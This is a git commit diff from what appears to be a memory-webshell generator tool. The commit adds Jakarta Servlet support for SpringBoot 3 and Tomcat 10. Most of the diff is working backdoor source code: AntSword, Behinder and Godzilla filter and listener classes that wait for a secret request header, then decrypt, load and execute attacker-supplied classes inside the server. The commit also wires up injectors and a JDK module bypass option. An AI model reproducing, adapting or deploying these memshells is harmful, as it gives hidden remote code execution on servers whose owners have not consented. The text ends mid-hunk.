add: 添加对 Jakarta Servlet 的支持(SpringBoot 3.x/Tomcat 10.x)

This commit is contained in:
pen4uin
2024-08-25 18:55:49 +08:00
parent 4d43d247c1
commit 35367e7d06
30 changed files with 2062 additions and 20 deletions
@@ -44,6 +44,11 @@ public class AntSwordGenerator implements IShellGenerator {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
ctClass.detach();
@@ -0,0 +1,57 @@
package jmg.antsword.memshell;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordJakartaFilter implements Filter {
public String pass;
public String headerName;
public String headerValue;
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
try {
byte[] data = doBase64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
} catch (Exception var7) {
}
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,80 @@
package jmg.antsword.memshell;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordJakartaListener implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
HttpServletResponse response = getResponseFromRequest(request);
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
try {
byte[] data = base64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
response.flushBuffer();
} catch (Exception var7) {
}
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
}
@@ -1,6 +1,8 @@
package jmg.antsword.util;
import jmg.antsword.memshell.AntSwordFilter;
import jmg.antsword.memshell.AntSwordJakartaFilter;
import jmg.antsword.memshell.AntSwordJakartaListener;
import jmg.antsword.memshell.AntSwordListener;
import jmg.core.config.Constants;
@@ -31,9 +33,13 @@ public class ShellUtil {
static {
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
Map<String, String> antSwordMap = new HashMap();
antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER,AntSwordJakartaFilter.class.getSimpleName());
antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
}
@@ -44,6 +44,11 @@ public class BehinderGenerator implements IShellGenerator {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
ctClass.detach();
@@ -0,0 +1,73 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class BehinderJakartaFilter extends ClassLoader implements Filter {
public String pass;
public String headerName;
public String headerValue;
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderJakartaFilter() {
}
public BehinderJakartaFilter(ClassLoader c) {
super(c);
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
Map obj = new HashMap();
obj.put("request", servletRequest);
obj.put("response", response);
obj.put("session", session);
// fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
// java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
// session.putValue("u", this.pass);
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
(new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,98 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public BehinderJakartaListener() {
}
public BehinderJakartaListener(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
try {
// session.putValue("u", pass);
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
(new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var7) {
}
}
} catch (Exception e) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -1,8 +1,6 @@
package jmg.behinder.util;
import jmg.behinder.memshell.BehinderFilter;
import jmg.behinder.memshell.BehinderInterceptor;
import jmg.behinder.memshell.BehinderListener;
import jmg.behinder.memshell.*;
import jmg.core.config.Constants;
import java.util.HashMap;
@@ -33,11 +31,15 @@ public class ShellUtil {
SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
Map<String, String> behinderMap = new HashMap();
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
}
+5 -1
View File
@@ -21,6 +21,10 @@
<artifactId>spring-webflux</artifactId>
<version>5.3.29</version>
</dependency>
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
<version>5.0.0</version>
</dependency>
</dependencies>
</project>
@@ -25,6 +25,8 @@ public class Constants {
public static final String SHELL_LISTENER = "Listener";
public static final String SHELL_FILTER = "Filter";
public static final String SHELL_JAKARTA_LISTENER = "JakartaListener";
public static final String SHELL_JAKARTA_FILTER = "JakartaFilter";
public static final String SHELL_VALVE = "Valve";
public static final String SHELL_INTERCEPTOR = "Interceptor";
public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
@@ -59,6 +59,8 @@ public class InjectorUtil {
Map<String, String> tomcatMap = new HashMap();
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector");
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
@@ -54,6 +54,11 @@ public class GodzillaGenerator implements IShellGenerator {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
@@ -0,0 +1,137 @@
package jmg.godzilla.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.math.BigInteger;
import java.security.MessageDigest;
public class GodzillaJakartaFilter extends ClassLoader implements Filter {
public static String key;
public static String pass;
public static String md5;
public String headerName;
public String headerValue;
static {
md5 = md5(pass + key);
}
public GodzillaJakartaFilter() {
}
public GodzillaJakartaFilter(ClassLoader z) {
super(z);
md5 = md5(pass + key);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class) session.getAttribute("payload")).newInstance();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
// 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request);
// f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,162 @@
package jmg.godzilla.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.security.MessageDigest;
/**
* @author pen4uin
* @time 2024/8/25 14:25
*/
public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener {
public static String key;
public static String pass;
public String headerName;
public String headerValue;
static String md5;
public static String cs;
static {
md5 = md5(pass + key);
cs = "UTF-8";
}
public GodzillaJakartaListener() {
}
public GodzillaJakartaListener(ClassLoader z) {
super(z);
md5 = md5(pass + key);
cs = "UTF-8";
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
// f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
// 提交 response、清空缓冲区,防止后续处理流程中 response 被覆盖导致连接失败
response.flushBuffer();
}
}
} catch (Exception var8) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
}
@@ -1,10 +1,7 @@
package jmg.godzilla.util;
import jmg.core.config.Constants;
import jmg.godzilla.memshell.GodzillaFilter;
import jmg.godzilla.memshell.GodzillaInterceptor;
import jmg.godzilla.memshell.GodzillaListener;
import jmg.godzilla.memshell.GodzillaWebFluxHandlerMethod;
import jmg.godzilla.memshell.*;
import java.util.HashMap;
import java.util.Map;
@@ -35,12 +32,17 @@ public class ShellUtil {
SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName());
SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName());
SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName());
SHELL_CLASSNAME_MAP.put(GodzillaJakartaFilter.class.getSimpleName(), GodzillaJakartaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(GodzillaJakartaListener.class.getSimpleName(), GodzillaJakartaListener.class.getName());
Map<String, String> godzillaMap = new HashMap();
godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName());
godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName());
godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName());
godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName());
godzillaMap.put(Constants.SHELL_JAKARTA_FILTER, GodzillaJakartaFilter.class.getSimpleName());
godzillaMap.put(Constants.SHELL_JAKARTA_LISTENER, GodzillaJakartaListener.class.getSimpleName());
toolMap.put(Constants.TOOL_GODZILLA, godzillaMap);
}
@@ -3,7 +3,7 @@
<grid id="27dc6" binding="jMGPanel" layout-manager="GridLayoutManager" row-count="7" column-count="1" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
<margin top="0" left="0" bottom="0" right="0"/>
<constraints>
<xy x="20" y="20" width="863" height="665"/>
<xy x="20" y="20" width="891" height="665"/>
</constraints>
<properties/>
<border type="none"/>
@@ -289,7 +289,7 @@
</constraints>
<properties/>
</component>
<grid id="ff8e2" binding="BottomPanel" layout-manager="GridLayoutManager" row-count="1" column-count="5" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
<grid id="ff8e2" binding="BottomPanel" layout-manager="GridLayoutManager" row-count="1" column-count="6" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
<margin top="0" left="0" bottom="0" right="0"/>
<constraints>
<grid row="4" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
@@ -345,12 +345,20 @@
</component>
<component id="3a0da" class="javax.swing.JButton" binding="generateButton">
<constraints>
<grid row="0" column="4" row-span="1" col-span="1" vsize-policy="0" hsize-policy="2" anchor="4" fill="0" indent="0" use-parent-layout="false"/>
<grid row="0" column="5" row-span="1" col-span="1" vsize-policy="0" hsize-policy="2" anchor="4" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text resource-bundle="messages" key="generate.text"/>
</properties>
</component>
<component id="61ba3" class="javax.swing.JCheckBox" binding="bypassJDKModuleCheckBox" default-binding="true">
<constraints>
<grid row="0" column="4" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="Bypass JDK Module"/>
</properties>
</component>
</children>
</grid>
<grid id="61400" binding="TipPanel" layout-manager="GridLayoutManager" row-count="1" column-count="3" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
@@ -65,6 +65,7 @@ public class jMGForm {
private JPanel BottomPanel;
private JPanel TipPanel;
private JTextPane textPane;
private JCheckBox bypassJDKModuleCheckBox;
private AbstractConfig config;
@@ -106,7 +107,7 @@ public class jMGForm {
public jMGForm() {
config = new AbstractConfig();
String[] servletApiShellBox = {Constants.SHELL_LISTENER, Constants.SHELL_FILTER};
String[] servletApiShellBox = {Constants.SHELL_LISTENER, Constants.SHELL_FILTER, Constants.SHELL_JAKARTA_LISTENER,Constants.SHELL_JAKARTA_FILTER};
String[] servletApiServerBox = {Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE, Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS};
String[] interceptorServerBox = {Constants.SERVER_SPRING_MVC};
String[] interceptorShellBox = {Constants.SHELL_INTERCEPTOR};
@@ -289,7 +290,12 @@ public class jMGForm {
}
});
bypassJDKModuleCheckBox.addItemListener(new ItemListener() {
@Override
public void itemStateChanged(ItemEvent e) {
config.setEnableBypassJDKModule(bypassJDKModuleCheckBox.isSelected());
}
});
generateButton.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
@@ -23,6 +23,8 @@ public class ResultUtil {
case Constants.SHELL_LISTENER:
case Constants.SHELL_FILTER:
case Constants.SHELL_INTERCEPTOR:
case Constants.SHELL_JAKARTA_LISTENER:
case Constants.SHELL_JAKARTA_FILTER:
TextPaneUtil.successPrintln("基础信息:");
TextPaneUtil.rawPrintln("");
TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64");
@@ -44,6 +44,11 @@ public class NeoreGeorgGenerator implements IShellGenerator {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
ctClass.detach();
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,9 +1,7 @@
package jmg.neoregeorg.util;
import jmg.core.config.Constants;
import jmg.neoregeorg.memshell.NeoreGeorgFilter;
import jmg.neoregeorg.memshell.NeoreGeorgInterceptor;
import jmg.neoregeorg.memshell.NeoreGeorgListener;
import jmg.neoregeorg.memshell.*;
import java.util.HashMap;
import java.util.Map;
@@ -33,10 +31,15 @@ public class ShellUtil {
SHELL_CLASSNAME_MAP.put(NeoreGeorgListener.class.getSimpleName(), NeoreGeorgListener.class.getName());
SHELL_CLASSNAME_MAP.put(NeoreGeorgFilter.class.getSimpleName(), NeoreGeorgFilter.class.getName());
SHELL_CLASSNAME_MAP.put(NeoreGeorgInterceptor.class.getSimpleName(), NeoreGeorgInterceptor.class.getName());
SHELL_CLASSNAME_MAP.put(NeoreGeorgJakartaListener.class.getSimpleName(), NeoreGeorgJakartaListener.class.getName());
SHELL_CLASSNAME_MAP.put(NeoreGeorgJakartaFilter.class.getSimpleName(), NeoreGeorgJakartaFilter.class.getName());
Map<String, String> regeorgMap = new HashMap();
regeorgMap.put(Constants.SHELL_FILTER, NeoreGeorgFilter.class.getSimpleName());
regeorgMap.put(Constants.SHELL_LISTENER, NeoreGeorgListener.class.getSimpleName());
regeorgMap.put(Constants.SHELL_INTERCEPTOR, NeoreGeorgInterceptor.class.getSimpleName());
regeorgMap.put(Constants.SHELL_JAKARTA_FILTER, NeoreGeorgJakartaFilter.class.getSimpleName());
regeorgMap.put(Constants.SHELL_JAKARTA_LISTENER, NeoreGeorgJakartaListener.class.getSimpleName());
toolMap.put(Constants.TOOL_NEOREGEORG, regeorgMap);
}
}
+1 -1
View File
@@ -22,7 +22,7 @@ public class SDKTest {
// 必需的基础配置
AbstractConfig config = new AbstractConfig() {{
// 设置工具类型
setToolType(Constants.TOOL_GODZILLA);
setToolType(Constants.TOOL_BEHINDER);
// 设置中间件 or 框架
setServerType(Constants.SERVER_TOMCAT);
// 设置内存马类型
@@ -46,6 +46,11 @@ public class Suo5Generator implements IShellGenerator {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
